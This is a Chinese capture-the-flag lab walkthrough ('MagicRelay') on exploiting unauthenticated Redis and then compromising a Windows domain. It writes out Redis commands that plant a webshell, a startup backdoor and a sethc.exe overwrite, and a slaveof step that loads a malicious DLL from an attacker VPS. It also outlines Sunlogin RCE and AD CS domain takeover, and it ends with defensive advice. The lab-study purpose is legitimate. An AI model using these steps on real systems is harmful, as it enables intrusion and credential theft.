春秋云境-MagicRelay
字数 2086 2025-08-29 08:30:19

Redis未授权访问漏洞利用与内网渗透实战指南

一、Redis未授权访问漏洞概述

Redis未授权访问漏洞是指Redis服务在默认配置下未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。这种漏洞在内网渗透中经常出现,危害极大。

漏洞发现方法

  • 使用端口扫描工具发现6379端口开放
  • 使用redis-cli直接连接测试:redis-cli -h <target_ip>
  • 使用nmap脚本扫描:nmap -p 6379 --script redis-info <target_ip>

二、Redis漏洞利用方法

1. Webshell写入

适用条件

  • 存在IIS服务时可尝试写入C:/inetpub/wwwroot/
  • 其他Web服务需要猜测目录
  • Administrator权限可直接写,普通用户看运气,Network Service权限无法写入

操作步骤

config set dir "C:/inetpub/wwwroot/"
config set dbfilename "shell.aspx"
set x "<%eval request("cmd")%>"
save

2. 启动项写入

适用条件

  • Administrator权限可直接写
  • 普通用户需要猜用户名
  • Network Service权限无法写入

操作步骤

config set dir "C:/Users/<username>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
config set dbfilename "backdoor.exe"
set x "<恶意exe内容>"
save

3. 系统文件覆写

适用条件

  • 需要System权限
  • 常用于RDP登录界面利用

操作步骤

config set dir "C:/Windows/System32/"
config set dbfilename "sethc.exe"
set x "<cmd.exe内容>"
save

4. DLL劫持利用(推荐方法)

4.1 原理概述

Redis在执行bgsave操作时会加载dbghelp.dll,如果应用目录中存在恶意dbghelp.dll,则会被优先加载执行。

4.2 利用步骤

步骤1:生成恶意DLL

  1. 下载DLL劫持工具:https://github.com/JKme/sb_kiddie-/blob/master/hacking_win/dll_hijack/DLLHijacker.py
  2. 修改DllHijacker.py,指定目标DLL路径
  3. 使用Visual Studio 2019生成项目文件
  4. 修改项目属性(关键步骤)
  5. 生成Release x64版本的DLL文件

步骤2:设置Redis主从复制

  1. 下载RabR工具:https://github.com/0671/RabR
  2. 将生成的DLL文件放入RabR文件夹
  3. 在VPS上运行RabR,开放对应端口

步骤3:执行主从复制

slaveof <vps_ip> <port>
config set dir "C:/Program Files/Redis/"
config set dbfilename "dbghelp.dll"
save

步骤4:触发DLL加载
执行bgsave命令触发DLL加载

三、内网渗透扩展

1. 内网信息收集

  • 使用fscan扫描内网
  • 发现域环境:xiaorang.lab
  • 收集域内主机信息

2. 向日葵RCE漏洞利用

漏洞描述
向日葵个人版 for Windows <= 11.0.0.33存在远程代码执行漏洞(CNVD-2022-10270)

利用步骤

  1. 发现向日葵随机开放的web端口(40000以上)
  2. 获取CID:访问/cgi-bin/rpc?action=verify-haras
  3. 执行命令:使用sunlogin_rce工具(https://github.com/Mr-xn/sunlogin_rce)

3. 权限提升与横向移动

  • 使用mimikatz抓取hash
  • 使用SharpHound收集域信息(需要System权限)
  • 使用PetitPotato提权
  • 上传后门程序到C:\Program Files\Redis

4. AD CS证书服务漏洞利用

漏洞描述
AD CS允许请求任意DNS主机名的计算机证书,可模拟域控制器实现域接管。

利用步骤

  1. 创建新机器账号

    • 使用现有机器账号WIN-YUYAOX9Q$的hash
    • 创建新机器账号
  2. 申请证书模板

    certreq -submit -attrib "CertificateTemplate:Machine" csr.req cert.cer
    
  3. Schannel利用

    • 将pfx导出为.key和.crt文件
    • 使用PassTheCert工具(https://github.com/AlmondOffSec/PassTheCert)
    • 配置RBCD
  4. 获取域控权限

    • 申请服务票据(ST)
    • 导入票据(PTT)
    • 无密码登录域控
    • SAM转储获取hash
    • Pass-the-Hash(PTH)攻击

四、防御建议

  1. Redis服务加固

    • 设置强密码认证
    • 限制绑定IP
    • 禁用高危命令
    • 使用低权限账户运行
  2. 向日葵漏洞防御

    • 升级到最新版本
    • 限制访问向日葵端口
  3. AD CS防御

    • 限制证书模板权限
    • 监控异常证书请求
    • 启用证书管理器审核
  4. 通用防御措施

    • 定期更新补丁
    • 最小权限原则
    • 网络分段隔离
    • 启用日志审计

五、工具清单

  1. Redis利用工具:

    • redis-cli
    • RabR (https://github.com/0671/RabR)
  2. DLL劫持工具:

    • DLLHijacker (https://github.com/JKme/sb_kiddie-)
  3. 内网渗透工具:

    • fscan
    • mimikatz
    • SharpHound
    • PetitPotato
  4. AD CS利用工具:

    • PassTheCert (https://github.com/AlmondOffSec/PassTheCert)
  5. 向日葵RCE工具:

    • sunlogin_rce (https://github.com/Mr-xn/sunlogin_rce)
Redis未授权访问漏洞利用与内网渗透实战指南 一、Redis未授权访问漏洞概述 Redis未授权访问漏洞是指Redis服务在默认配置下未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。这种漏洞在内网渗透中经常出现,危害极大。 漏洞发现方法 使用端口扫描工具发现6379端口开放 使用redis-cli直接连接测试: redis-cli -h <target_ip> 使用nmap脚本扫描: nmap -p 6379 --script redis-info <target_ip> 二、Redis漏洞利用方法 1. Webshell写入 适用条件 : 存在IIS服务时可尝试写入 C:/inetpub/wwwroot/ 其他Web服务需要猜测目录 Administrator权限可直接写,普通用户看运气,Network Service权限无法写入 操作步骤 : 2. 启动项写入 适用条件 : Administrator权限可直接写 普通用户需要猜用户名 Network Service权限无法写入 操作步骤 : 3. 系统文件覆写 适用条件 : 需要System权限 常用于RDP登录界面利用 操作步骤 : 4. DLL劫持利用(推荐方法) 4.1 原理概述 Redis在执行bgsave操作时会加载dbghelp.dll,如果应用目录中存在恶意dbghelp.dll,则会被优先加载执行。 4.2 利用步骤 步骤1:生成恶意DLL 下载DLL劫持工具:https://github.com/JKme/sb_ kiddie-/blob/master/hacking_ win/dll_ hijack/DLLHijacker.py 修改DllHijacker.py,指定目标DLL路径 使用Visual Studio 2019生成项目文件 修改项目属性(关键步骤) 生成Release x64版本的DLL文件 步骤2:设置Redis主从复制 下载RabR工具:https://github.com/0671/RabR 将生成的DLL文件放入RabR文件夹 在VPS上运行RabR,开放对应端口 步骤3:执行主从复制 步骤4:触发DLL加载 执行 bgsave 命令触发DLL加载 三、内网渗透扩展 1. 内网信息收集 使用fscan扫描内网 发现域环境:xiaorang.lab 收集域内主机信息 2. 向日葵RCE漏洞利用 漏洞描述 : 向日葵个人版 for Windows <= 11.0.0.33存在远程代码执行漏洞(CNVD-2022-10270) 利用步骤 : 发现向日葵随机开放的web端口(40000以上) 获取CID:访问 /cgi-bin/rpc?action=verify-haras 执行命令:使用sunlogin_ rce工具(https://github.com/Mr-xn/sunlogin_ rce) 3. 权限提升与横向移动 使用mimikatz抓取hash 使用SharpHound收集域信息(需要System权限) 使用PetitPotato提权 上传后门程序到 C:\Program Files\Redis 4. AD CS证书服务漏洞利用 漏洞描述 : AD CS允许请求任意DNS主机名的计算机证书,可模拟域控制器实现域接管。 利用步骤 : 创建新机器账号 : 使用现有机器账号WIN-YUYAOX9Q$的hash 创建新机器账号 申请证书模板 : Schannel利用 : 将pfx导出为.key和.crt文件 使用PassTheCert工具(https://github.com/AlmondOffSec/PassTheCert) 配置RBCD 获取域控权限 : 申请服务票据(ST) 导入票据(PTT) 无密码登录域控 SAM转储获取hash Pass-the-Hash(PTH)攻击 四、防御建议 Redis服务加固 : 设置强密码认证 限制绑定IP 禁用高危命令 使用低权限账户运行 向日葵漏洞防御 : 升级到最新版本 限制访问向日葵端口 AD CS防御 : 限制证书模板权限 监控异常证书请求 启用证书管理器审核 通用防御措施 : 定期更新补丁 最小权限原则 网络分段隔离 启用日志审计 五、工具清单 Redis利用工具: redis-cli RabR (https://github.com/0671/RabR) DLL劫持工具: DLLHijacker (https://github.com/JKme/sb_ kiddie-) 内网渗透工具: fscan mimikatz SharpHound PetitPotato AD CS利用工具: PassTheCert (https://github.com/AlmondOffSec/PassTheCert) 向日葵RCE工具: sunlogin_ rce (https://github.com/Mr-xn/sunlogin_ rce)